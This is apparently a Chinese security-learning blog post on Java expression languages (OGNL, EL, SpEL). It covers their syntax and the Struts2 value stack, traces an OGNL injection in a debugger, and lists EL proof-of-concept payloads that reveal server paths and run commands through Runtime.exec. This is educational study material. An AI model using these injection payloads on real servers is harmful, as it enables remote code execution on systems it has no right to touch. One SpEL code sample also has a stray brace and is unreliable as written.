OGNL
基础
OGNL表达式的作用
- 支持对象方法的调用
ObjectName.methodName() - 静态方法的调用和值得访问
@java.lang.String@format('aa%s', 'RoboTerh'), 这里的包名必须要是完整的包名,不能只使用String - 支持变量赋值操作和表达式串联
- 访问OGNL上下文,和ActionContext
- 直接new创建一个对象
ActionContext
是一个上下文对象,对应OGNL的context
除了三个常见的作用域request、session、application外,还有以下三个作用域:
- attr:保存着上面三个作用域的所有属性,如果有重复的则以request域中的属性为基准;
- paramters:保存的是表单提交的参数;
- VALUE_STACK:值栈,保存着valueStack对象,也就是说可以通过ActionContext访问到valueStack中的值
ValueStack
是OGNL表达式存取数据的地方
获取值栈的方式
- 在request作用域中获得值栈
ValueStack对象在request范围内的存储方式为request.setAttribute("struts.valueStack",valuestack),可以通过如下方式从request中取出值栈的信息。
//获取 ValueStack 对象,通过 request 对象获取
ValueStack valueStack = (ValueStack)ServletActionContext.getRequest()
.getAttribute(ServletActionContext.STRUTS_VALUESTACK_KEY);
在上述示例代码中,ServletActionContext.STRUTS_VALUESTACK_KEY是ServletActionContext类中的常量,它的值为struts.valueStack。
- 在ActionContext中获得值栈
在使用Struts2框架时,可以使用OGNL操作Context对象从ValueStack中存取数据,也就是说,可以从Context对象中获取ValueStack对象。实际上,Struts2框架中的Context对象就是ActionContext。
ActionContext获取ValueStack对象的方式如下所示:
//通过 ActionContext 获取 valueStack 对象
ValueStack valueStack = ActionContext.getContext().getValueStack();
ActionContext对象是在StrutsPrepareAndExcuteFilter的doFilter()方法中被创建的,在源码中用于创建ActionContext对象的createActionContext()方法内可以找到获取的ValueStack对象的信息。
基本语法
对象树访问
利用.进行连接
对变量的访问
在前面加上#
数组,对象
//例如
group.users[0]
#session['mysession']
//构造list
{"green", "red", "blue"}
//构造map
#{"key1":"value1", "key2":"value2"}
//新建对象
new Java.net.URL("xxx");
投影和选择语法
投影:
group.users.{username}获取group中所有users的username
选择:
collection.{X YY}, X是一个选择操作符,YY是选择用的逻辑表达式
选择操作符:
?选择满足条件的所有元素^选择满足条件的第一个元素$选择满足条件的最后一个元素
# % $
#符主要有三种用途:
- 访问非根对象属性,即访问OGNL上下文和Action上下文,由于Struts2中值栈被视为根对象,所以访问其他非根对象时需要加#前缀,#相当于
ActionContext.getContext(); - 用于过滤和投影(projecting)集合,如
books.{? #this.price<100}; - 用于构造Map,如
#{'foo1':'bar1', 'foo2':'bar2'};
- %符
%符的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。
- $符
$符的主要作用是在相关配置文件中引入OGNL表达式,让其在配置文件中也能解析OGNL表达式。(换句话说,$用于在配置文件中获取ValueStack的值用的
能解析OGNL的api
| 类名 | 方法名 |
|---|---|
| com.opensymphony.xwork2.util.TextParseUtil | translateVariables,translateVariablesCollection |
| com.opensymphony.xwork2.util.TextParser | evaluate |
| com.opensymphony.xwork2.util.OgnlTextParser | evaluate |
| com.opensymphony.xwork2.ognl.OgnlUtil | setProperties,setProperty,setValue,getValue,callMethod,compile |
| org.apache.struts2.util.VelocityStrutsUtil | evaluate |
| org.apache.struts2.util.StrutsUtil | isTrue,findString,findValue,getText,translateVariables,makeSelectList |
| org.apache.struts2.views.jsp.ui.OgnlTool | findValue |
| com.opensymphony.xwork2.util.ValueStack | findString,findValue,setValue,setParameter |
| com.opensymphony.xwork2.ognl.OgnlValueStack | findString,findValue,setValue,setParameter,trySetValue |
| ognl.Ognl | parseExpression,getValue,setValue |
表达式注入漏洞
如果我们能够控制ognl表达式,就可以达到恶意目的
package pers.ognl;
import ognl.Ognl;
import ognl.OgnlContext;
import ognl.OgnlException;
import java.io.IOException;
public class Test {
public static void main(String[] args) throws OgnlException, IOException {
//创建一个上下文对象
OgnlContext context = new OgnlContext();
//getValue触发漏洞
//Ognl.getValue("@java.lang.Runtime@getRuntime().exec('calc')", context, context.getRoot());
//setValue触发漏洞
Ognl.setValue(Runtime.getRuntime().exec("calc"), context, context.getRoot());
}
}
在上面的表格中,就提到过了,Ognl.getValue, Ognl.setValue都可以进行ognl表达式注入
这里也成功弹出了计算器
调式分析栈调用
首先在getValue方法前面打上断点
在getValue方法中使用parseExpression来处理我们的表达式,跟进他

将其转化为了ASTChain类型的tree

之后将转化为node类型的tree继续调用getValue方法


这里的this,就是我们需要执行的恶意命令,我们调用evaluateGetValueBody方法来处理它,跟进

之后调用getValueBody来处理

在这里将他拆成了两部分

首先处理的是前半部分,this._children[i]就是前半部分,调用它的SimpleNode#getValue方法,并且将类名和方法名分割开了,这里的result就是Runtime类名
之后就是通过反射进行获取类名,和方法名,进行执行
简单地说,OGNL表达式的getValue()解析过程就是先将整个OGNL表达式按照语法树分为几个子节点树,然后循环遍历解析各个子节点树上的OGNL表达式,其中通过Method.invoke()即反射的方式实现任意类方法调用,将各个节点解析获取到的类方法通过ASTChain链的方式串连起来实现完整的表达式解析、得到完整的类方法调用。
参考
[OGNL表达式注入漏洞总结 Mi1k7ea ]
EL
基础
基本语法
在JSP中访问模型对象是通过EL表达式的语法来表达. 所有EL表达式的格式都是以${}表示. 例如, ${userinfo}代表获取变量userinfo的值. 当EL表达式中的变量不给定范围时, 则默认在page范围查找, 然后依次在request、session、application范围查找. 也可以用范围作为前缀表示属于哪个范围的变量, 例如: ${pageScope. userinfo}表示访问page范围中的userinfo变量.
EL表达式提供.和[]两种运算符来存取数据. 当要存取的属性名称中包含一些特殊字符, 如.或-等并非字母或数字的符号, 就一定要使用[]. 例如: ${user.My-Name}应当改为${user["My-Name"]}. 如果要动态取值时, 就可以用[]来做, 而.无法做到动态取值, 例如: ${sessionScope.user[data]}中data是一个变量.
隐式对象
JSP表达式语言定义了一组隐式对象, 其中许多对象在JSP Scriplet和表达式中可用
| 术语 | 定义 |
|---|---|
| pageContext | JSP页的上下文, 可以用于访问JSP隐式对象, 如请求、响应、会话、输出、servletContext等. 例如, ${pageContext.response}为页面的响应对象赋值. |
此外, 还提供几个隐式对象, 允许对以下对象进行简易访问:
| 术语 | 定义 |
|---|---|
| param | 将请求参数名称映射到单个字符串参数值(通过调用ServletRequest.getParameter(String name)获得). getParameter(String)方法返回带有特定名称的参数. 表达式${param.name}相当于request.getParameter(name). |
| paramValues | 将请求参数名称映射到一个数值数组(通过调用ServletRequest.getParameter(String name)获得). 它与param隐式对象非常类似, 但它检索一个字符串数组而不是单个值. 表达式${paramvalues.name}相当于request.getParamterValues(name). |
| header | 将请求头名称映射到单个字符串头值(通过调用ServletRequest.getHeader(String name)获得). 表达式${header.name}相当于request.getHeader(name). |
| headerValues | 将请求头名称映射到一个数值数组(通过调用ServletRequest.getHeaders(String)获得). 它与头隐式对象非常类似, 表达式${headerValues.name}相当于request.getHeaderValues(name). |
| cookie | 将cookie名称映射到单个cookie对象. 向服务器发出的客户端请求可以获得一个或多个cookie. 表达式${cookie.name.value}返回带有特定名称的第一个cookie值. 如果请求包含多个同名的cookie, 则应该使用${headerValues.name}表达式. |
| initParam | 将上下文初始化参数名称映射到单个值(通过调用ServletContext.getInitparameter(String name)获得). |
除了上述两种类型的隐式对象之外, 还有些对象允许访问多种范围的变量, 如Web 上下文、会话、请求、页面:
| 术语 | 定义 |
|---|---|
| pageScope | 将页面范围的变量名称映射到其值. 例如, EL表达式可以使用${pageScope.objectName}访问一个JSP中页面范围的对象, 还可以使用${pageScope.objectName.attributeName}访问对象的属性. |
| requestScope | 将请求范围的变量名称映射到其值, 该对象允许访问请求对象的属性. 例如, EL表达式可以使用${requestScope.objectName}访问一个JSP请求范围的对象, 还可以使用${requestScope.objectName.attributeName}访问对象的属性. |
| sessionScope | 将会话范围的变量名称映射到其值, 该对象允许访问会话对象的属性. 例如, ${sessionScope.name}. |
| applicationScope | 将应用程序范围的变量名称映射到其值, 该隐式对象允许访问应用程序范围的对象. |
函数
EL允许您在表达式中使用函数, 这些函数必须被定义在自定义标签库中. 要使用任何标签库中的函数, 需要将这些库安装在服务器中, 然后使用<taglib>标签在JSP文件中包含这些库. 函数的使用语法如下:
${ns:func(param1, param2, ...)}
ns: 命名空间
func: 指的是函数的名称
paramx: 参数
调用java方法
先新建一个ELFunc类, 其中定义的doSomething函数用于输出Hello, xxx!:
package h3rmek1t.javawebsecurity;
/**
* @Author: H3rmesk1t
* @Data: 2022/3/17 11:24 下午
*/
public class ELFunc {
public static String doSomething(String str) {
return "Hello, " + str + "!";
}
}
接着在WEB-INF文件夹下新建test.tld文件, 其中指定执行的Java方法及其URI地址:
<?xml version="1.0" encoding="UTF-8"?>
<taglib version="2.0" xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee http://java.sun.com/xml/ns/j2ee/web-jsptaglibrary_2_0.xsd">
<tlib-version>1.0</tlib-version>
<short-name>ELFunc</short-name>
<uri>http://www.h3rmesk1t.com/ELFunc</uri>
<function>
<name>doSomething</name>
<function-class>h3rmek1t.javawebsecurity.ELFunc</function-class>
<function-signature> java.lang.String doSomething(java.lang.String)</function-signature>
</function>
</taglib>
JSP文件中, 先头部导入taglib标签库, URI为test.tld中设置的URI地址, prefix为test.tld中设置的short-name, 然后直接在EL表达式中使用类名:方法名()的形式来调用该类方法即可:
<%@taglib uri="http://www.h3rmesk1t.com/ELFunc" prefix="ELFunc"%>
${ELFunc:doSomething("h3rmesk1t")}
禁用EL表达式
全局禁用 EL 表达式
在web.xml中进行如下配置:
<jsp-config>
<jsp-property-group>
<url-pattern>*.jsp</url-pattern>
<el-ignored>true</el-ignored>
</jsp-property-group>
</jsp-config>
单个文件禁用 EL 表达式
在JSP文件中可以有如下定义来表示是否禁用EL表达式, true表示禁止, false表示不禁止, 在JSP2.0中默认的启用EL表达式.
<%@ page isELIgnored="true" %>
POC
// 对应于 JSP 页面中的 pageContext 对象.
${pageContext}
// 获取 Web 路径.
${pageContext.getSession().getServletContext().getClassLoader().getResource("")}
// 文件头参数.
${header}
// 获取 webRoot.
${applicationScope}
// 执行命令.
${pageContext.setAttribute("a","".getClass().forName("java.lang.Runtime").getMethod("exec","".getClass()).invoke("".getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"calc.exe"))}
参考
Learning_summary/Java安全学习—EL表达式注入.md at main · H3rmesk1t/Learning_summary (github.com)
spel
基础
.的用法
Expression exp = parser.parseExpression("'Hello World'.concat('!')")
Expression exp = parser.parseExpression("'Hello World'.bytes")
Expression exp = parser.parseExpression("'Hello World'.bytes.length")
- EvaluationContext 接口
当计算表达式解析properties, methods, fields,并帮助执行类型转换, 使用接口EvaluationContext 这是一个开箱即用的实现, StandardEvaluationContext,使用反射来操纵对象, 缓存java.lang.reflect的Method,Field,和Constructor实例 提高性能。
该StandardEvaluationContext是你可以指定root object通过使用 setRootObject()或传递root object到构造函数. 你也可以指定变量和函数 使用方法’的setVariable()和registerFunction()`的表达式
- 基于XML的配置
<property name="randomNumber" value="#{ T(java.lang.Math).random() * 100.0 }"/>
<!--systemProperties是一个预定义的-->
<property name="defaultLocale" value="#{ systemProperties['user.region'] }"/>
<!--参考其他的bean属性的名字-->
<property name="initialShapeSeed" value="{ numberGuess.randomNumber }"/>
- 基于注解的配置
//@ Value注解可以放在字段,方法和方法/构造 参数里,以指定默认值。
@Value("#{ systemProperties['user.region'] }")
private String defaultLocale;
变量可以在使用语法#variableName表达引用
变量#this 始终定义和指向的是当前的执行对象 (不支持对其中不合格的引用解析)。变量#root总是 定义和指向root context object
函数的使用
您可以通过注册,可以在该调用用户自定义函数扩展SpEL 表达式字符串。该函数注册到’StandardEvaluationContext`使用 该方法。
public void registerFunction(String name, Method m)
引用一个Java方法提供了函数的实现。举个例子 一个实用的方法来扭转字符串如下所示。
public abstract class StringUtils {
public static String reverseString(String input) {
StringBuilder backwards = new StringBuilder();
for (int i = 0; i < input.length(); i++)
backwards.append(input.charAt(input.length() - 1 - i));
}
return backwards.toString();
}
}
这个方法在解析器上线文当中被注册,作为字符串被调用。
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.registerFunction("reverseString",
StringUtils.class.getDeclaredMethod("reverseString", new Class[] { String.class }));
String helloWorldReversed = parser.parseExpression(
"#reverseString('hello')").getValue(context, String.class);
如果解析上下文已经配置,那么bean解析器能够 从表达式使用(@)符号查找bean类。
ExpressionParser parser = new SpelExpressionParser();
StandardEvaluationContext context = new StandardEvaluationContext();
context.setBeanResolver(new MyBeanResolver());
// This will end up calling resolve(context,"foo") on MyBeanResolver during evaluation
Object bean = parser.parseExpression("@foo").getValue(context);
- Post link: https://roboterh.github.io/2022/04/07/OGNL_EL_Spel%E8%A1%A8%E8%BE%BE%E5%BC%8F/
- Copyright Notice: All articles in this blog are licensed under unless otherwise stated.


